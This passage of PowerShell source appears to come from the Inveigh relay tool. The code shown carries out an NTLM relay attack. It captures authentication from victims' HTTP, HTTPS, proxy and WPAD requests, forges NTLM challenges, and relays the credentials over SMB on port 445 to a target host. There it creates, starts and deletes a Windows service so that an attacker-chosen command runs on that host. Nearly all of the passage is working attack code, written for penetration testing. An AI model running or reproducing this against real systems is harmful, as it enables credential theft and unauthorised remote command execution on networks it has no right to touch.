{ - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Last' - { - $SMB2_message_ID++ - $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] - $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'StartServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") - $inveigh.log.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") - } - - $inveigh.console_queue.Add("SMB relay service $SMB_service created on $Target") - $inveigh.console_queue.Add("Trying to execute SMB relay command on $Target") - $SMB_service_context_handle = $SMB_client_receive[112..131] - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'DeleteServiceW' - } - elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') - { - $inveigh.console_queue.Add("SMB relay service $SMB_service creation failed on $Target") - $SMB_relay_failed = $true - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") - } - - } - else - { - $SMB_relay_failed = $true - } - - } - - 'DeleteServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') - { - $inveigh.console_queue.Add("SMB relay command executed on $Target") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') - { - $inveigh.console_queue.Add("SMB relay service $SMB_service failed to start on $Target") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("SMB relay service $SMB_service failed to start on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("SMB relay service $SMB_service failed to start on $Target") - } - - } - - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'CloseServiceHandle' - $SMB_close_service_handle_stage = 1 - } - - 'CloseServiceHandle' - { - - if($SMB_close_service_handle_stage -eq 1) - { - $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $Target") - $SMB2_message_ID += 20 - $SMB_close_service_handle_stage++ - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") - } - - } - else - { - $SMB2_message_ID += 1 - $SMB_client_stage = 'CloseRequest' - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle - } - - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - } - - 'CloseRequest' - { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x06,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2CloseRequest $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'TreeDisconnect' - } - - 'TreeDisconnect' - { - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x04,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2TreeDisconnectRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'Logoff' - } - - 'Logoff' - { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x02,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2SessionLogoffRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'Exit' - } - - } - - if($SMB_relay_failed) - { - $inveigh.console_queue.Add("SMB relay failed on $Target") - $SMB_client_stage = 'Exit' - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay failed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay failed on $Target") - } - - } - - } - - } - - if(!$SMB_relay_failed -and $RelayAutoDisable -eq 'Y') - { - $inveigh.console_queue.Add("SMB relay auto disabled due to success") - $inveigh.SMB_relay = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success") - } - - } - - } - - $SMB_relay_socket.Close() - - return $SMB_client_receive - } - -} - -# HTTP/HTTPS/Proxy Server ScriptBlock -$HTTP_scriptblock = -{ - param ($Challenge,$Command,$HTTPIP,$HTTPPort,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPS_listener,$Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$Service,$SMB_version,$Target,$Usernames,$WPADAuth,$WPADAuthIgnore,$WPADResponse) - - function NTLMChallengeBase64 - { - param ([String]$Challenge,[String]$ClientIPAddress,[Int]$ClientPort) - - $HTTP_timestamp = Get-Date - $HTTP_timestamp = $HTTP_timestamp.ToFileTime() - $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - if($Challenge) - { - $HTTP_challenge = $Challenge - $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - - $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = $HTTP_challenge - - return $NTLM - } - - if($HTTPS_listener) - { - $HTTP_type = "HTTPS" - } - elseif($proxy_listener) - { - $HTTP_type = "Proxy" - } - else - { - $HTTP_type = "HTTP" - } - - if($HTTPIP -ne '0.0.0.0') - { - $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) - $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) - } - else - { - $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) - } - - $HTTP_running = $true - $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint - $HTTP_client_close = $true - $relay_step = 0 - - if($proxy_listener) - { - $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) - $HTTP_listener.Server.LingerState = $HTTP_linger - } - - try - { - $HTTP_listener.Start() - } - catch - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - $HTTP_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - } - - } - - :HTTP_listener_loop while($inveigh.relay_running -and $HTTP_running) - { - $TCP_request = "" - $TCP_request_bytes = New-Object System.Byte[] 4096 - $HTTP_send = $true - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") - $HTTP_header_cache_control = "" - $HTTP_header_authenticate = "" - $HTTP_header_authenticate_data = "" - $HTTP_message = "" - $HTTP_header_authorization = "" - $HTTP_header_host = "" - $HTTP_header_user_agent = "" - $HTTP_request_raw_URL = "" - $NTLM = "NTLM" - - while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) - { - Start-Sleep -m 10 - - if(!$inveigh.relay_running) - { - break HTTP_listener_loop - } - - } - - if($relay_step -gt 0) - { - $relay_reset++ - - if($relay_reset -gt 2) - { - $inveigh.console_queue.Add("SMB relay attack resetting") - $SMB_relay_socket.Close() - $relay_step = 0 - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay attack resetting") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay attack resetting") - } - - } - - } - else - { - $relay_reset = 0 - } - - if($HTTPS_listener) - { - - if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) - { - $HTTP_client = $HTTP_listener.AcceptTcpClient() - $HTTP_clear_stream = $HTTP_client.GetStream() - $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) - $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) - $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) - } - - [byte[]]$SSL_request_bytes = $null - - do - { - $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) - $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] - } while ($HTTP_clear_stream.DataAvailable) - - $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) - } - else - { - - if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) - { - $HTTP_client = $HTTP_listener.AcceptTcpClient() - $HTTP_stream = $HTTP_client.GetStream() - } - - if($HTTP_stream.DataAvailable) - { - $HTTP_data_available = $true - } - else - { - $HTTP_data_available = $false - } - - while($HTTP_stream.DataAvailable) - { - $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) - } - - $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) - } - - if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*") - { - $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) - $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) - $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString - - if($TCP_request -like "*-48-6F-73-74-3A-20-*") - { - $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) - $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) - $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) - } - - if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") - { - $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) - $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) - $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) - } - - if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") - } - - if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") - } - - } - - } - - if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") - { - $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) - $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) - $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) - } - - if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( - $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_client_close = $true - } - else - { - - if($proxy_listener) - { - $HTTP_response_status_code = 0x34,0x30,0x37 - $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 - } - else - { - $HTTP_response_status_code = 0x34,0x30,0x31 - $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 - - if($HTTP_request_raw_URL -match '/wpad.dat') - { - $HTTP_reset_delay = $true - $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout - $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - } - - $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 - $HTTP_client_close = $false - } - - if($HTTP_header_authorization.StartsWith('NTLM ')) - { - $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' - [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) - - if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') - { - - if($inveigh.SMB_relay -and $HTTP_source_IP -ne $Target -and $relay_step -eq 0) - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by $HTTP_source_IP") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $Target) - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by $HTTP_source_IP") - $inveigh.log.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $Target) - } - - $inveigh.console_queue.Add("$HTTP_type to SMB relay triggered by $HTTP_source_IP at $(Get-Date -format 's')") - $inveigh.console_queue.Add("Grabbing challenge for relay from $Target") - $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient - $SMB_relay_socket.Client.ReceiveTimeout = 60000 - $SMB_relay_socket.Connect($Target,"445") - $HTTP_client_close = $false - $relay_step = 1 - - if(!$SMB_relay_socket.connected) - { - $inveigh.console_queue.Add("SMB relay target is not responding") - $relay_step = 0 - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay target is not responding") - } - - } - - if($relay_step -eq 1) - { - $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes $SMB_version - - if($SMB_relay_bytes.Length -le 3) - { - $relay_step = 0 - $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port - } - - } - - if($relay_step -eq 1) - { - $SMB_user_ID = $SMB_relay_bytes[34..33] - $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) - $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" - $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") - $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 - $SMB_domain_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes - $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] - $SMB_target_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes - $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] - $SMB_relay_target_flag = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 22)] - $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] - $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] - $SMB_session_ID = $SMB_relay_bytes[44..51] - - if([System.BitConverter]::ToString($SMB_relay_bytes[4..7]) -eq 'ff-53-4d-42') - { - $SMB_version -eq 'SMB1' - } - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + - $SMB_domain_length_offset_bytes + - 0x05,0x82 + - $SMB_relay_target_flag + - 0xa2 + - $SMB_relay_NTLM_challenge + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $SMB_target_length_offset_bytes + - $SMB_relay_target_details - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes - $inveigh.HTTP_challenge_queue.Add($HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) 